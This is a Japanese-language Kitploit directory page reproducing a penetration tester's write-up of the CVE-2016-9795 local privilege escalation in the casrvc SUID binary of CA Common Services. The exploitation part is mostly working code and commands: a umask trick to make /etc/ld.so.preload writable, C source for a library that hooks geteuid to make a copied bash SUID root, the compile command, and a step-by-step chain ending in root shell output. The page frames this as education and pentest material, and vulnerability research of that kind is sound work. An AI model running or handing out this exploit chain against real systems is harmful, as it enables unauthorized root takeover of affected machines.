Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CA-Common-Services-privilege-escalation-cve-2016-9795-revisited — 再検討された CVE-2016-9795 権限昇格(CA Common Services スイートの casrvc バイナリ) | Kitploit
ツール/GitHubGitHub/blogresponder/ca-common-services-privilege-escalation-cve-2016-9795-revisited
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイト
GitHubblogresponder/ca-common-services-privilege-escalation-cve-2016-9795-revisited

CA-Common-Services-privilege-escalation-cve-2016-9795-revisited

再検討された CVE-2016-9795 権限昇格(CA Common Services スイートの casrvc バイナリ)

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
25年前未レビュー

CA Common Services 権限昇格 (CVE-2016-9795) 再訪

説明

あるペンテストにおいて、casrvc SUID バイナリ (CA Common Services スイートの一部) に偶然遭遇しました。調査の結果、このバイナリはローカル権限昇格に対して脆弱であることがわかりました。実際、NCC グループによってこの脆弱性には公開 CVE (CVE-2016-9795) が既に割り当てられていました。

脆弱性は非常に単純で、後で知ったことですが、NCC グループは PDF アドバイザリ (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf) で Proof-Of-Concept を公開していました。それにもかかわらず、ペンテストの実施中に、私は別の悪用経路を選択しました。これは最初の選択肢として実行可能な代替手段であり、正しく実行すればリスクが少ない可能性があります。

脆弱性

脆弱性は casrvc SUID バイナリに存在し、ユーザーがログの書き込み先ファイル名 (および絶対パス) を選択できる機能を公開しています。このログファイルの一部はユーザーによって制御されるため、最終的に非特権ユーザーに多かれ少なかれ制御された任意書き込みを提供します。

任意の出力ファイル書き込み

/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"

ログ出力

root@kitploit:~
[...]

2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**

既存の PoC は、ログ出力を /etc/passwd ファイルに連結して root グループに別のユーザーエントリを追加するだけです。/etc/passwd に何かを連結するのは時としてリスクが高い行為であり、私の場合は何としてもサーバーのクラッシュを避けたかったのです。

悪用

この悪用手法は新しいものではなく、多くの研究者 (@dawid_golunski、@itm4n など) によって取り上げられています。この手法はこのバイナリに適用可能であり、ここでは教育目的で説明します。

概念

これは、/etc/ld.so.preload ファイルに追記または作成することから構成されます。Linux マニュアル man ld.so に説明されているように、このファイルはバイナリが起動されるたびに読み込まれるライブラリ名のリスト (1行に1つ) を定義することを可能にします。

root@kitploit:~
/etc/ld.so.preload
              File containing a whitespace-separated list of ELF shared objects to be  loaded  before
              the  program.   See  the  discussion  of  LD_PRELOAD  above.   If  both  LD_PRELOAD and
              /etc/ld.so.preload are employed, the libraries specified by  LD_PRELOAD  are  preloaded
              first.  /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
              be preloaded for all programs that are executed on the system.  (This is usually  unde‐
              sirable,  and is typically employed only as an emergency remedy, for example, as a tem‐
              porary workaround to a library misconfiguration issue.)

このファイルの特異性は、プリロードされたライブラリが SUID プログラムを含め、システム上で実行される すべての プログラムに対して読み込まれることです。もちろん、これは任意のユーザーがセッションのコンテキストでライブラリをプリロードするために設定できる "LD_PRELOAD" 環境変数には当てはまりません。

エクスプロイト

任意書き込み

作成されるファイルの内容を完全に制御するために、umask コマンドを使用してファイルモード作成マスクを設定します。これにより、ログファイルが作成されたときに、全員に読み取りおよび書き込み権限が付与されます。

root@kitploit:~
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov  4 15:44 /etc/ld.so.preload
注記

casrvc 実行可能ファイルを実行した後、内容に有効な .so ライブラリが含まれていないため、コンピュータ上でプログラムが起動されるたびにエラーメッセージが生成されます。そのため、ファイルの内容をすぐに消去しようとします。

umask に関する注記

今回のケースでは、umask のトリックは機能します。ただし、実行可能ファイルが自ら umask の値を設定する場合があり、その場合は私たちが設定した umask の値が上書きされ無視されます。

.so ライブラリファイルの作成

次に .so ファイルを作成します。以下がこの .so ファイルのソースコードです。これには3つの機能があります:

  • geteuid システム関数を上書きする
  • これにより、目的の場所 (この場合は "/tmp/root_shell") にあるバイナリに SUID ビットが追加されるだけです
  • その後、ld.so.preload ファイルを削除し、元の geteuid 関数の通常の実行に進みます
root@kitploit:~
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>

uid_t geteuid(void) {
  static uid_t  (*old_geteuid)();
  old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  if ( old_geteuid() == 0 ) {
    chown("/tmp/root_shell", 0, 0);
    chmod("/tmp/root_shell", 06777);
    unlink("/etc/ld.so.preload");
  }
  return old_geteuid();
}

コンパイルするには、単に

root@kitploit:~
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
注記

前のコマンドでは、/tmp パーティションが NOEXEC や NOSUID プロパティでマウントされていないことを前提としています。

すべてを組み合わせる

  1. /bin/bash バイナリを目的の場所にコピーします
root@kitploit:~
cp /bin/bash /tmp/root_shell
  1. 上記のように casrvc バイナリを実行して、/etc/ld.so.preload への書き込み権限を取得します
root@kitploit:~
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
  1. コンパイル済みの lib.so のパスを /etc/ld.so.preload ファイルにコピーします (既に書き込み権限があります)
root@kitploit:~
echo /tmp/lib.so > /etc/ld.so.preload
  1. geteuid 関数を呼び出す任意の SUID プログラムを実行します (root が所有する SUID であれば何でも構いません。例えば "sudo")
root@kitploit:~
sudo
  1. root シェルを楽しむ
root@kitploit:~
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)

参考文献

  • Nginx (Debian ベースのディストリビューション + Gentoo) - 'logrotate' ローカル権限昇格
  • CVE-2019-19544 - CA Dollar Universe 5.3.3 'uxdqmsrv' - 脆弱な SUID バイナリを介した権限昇格
ツールをダウンロード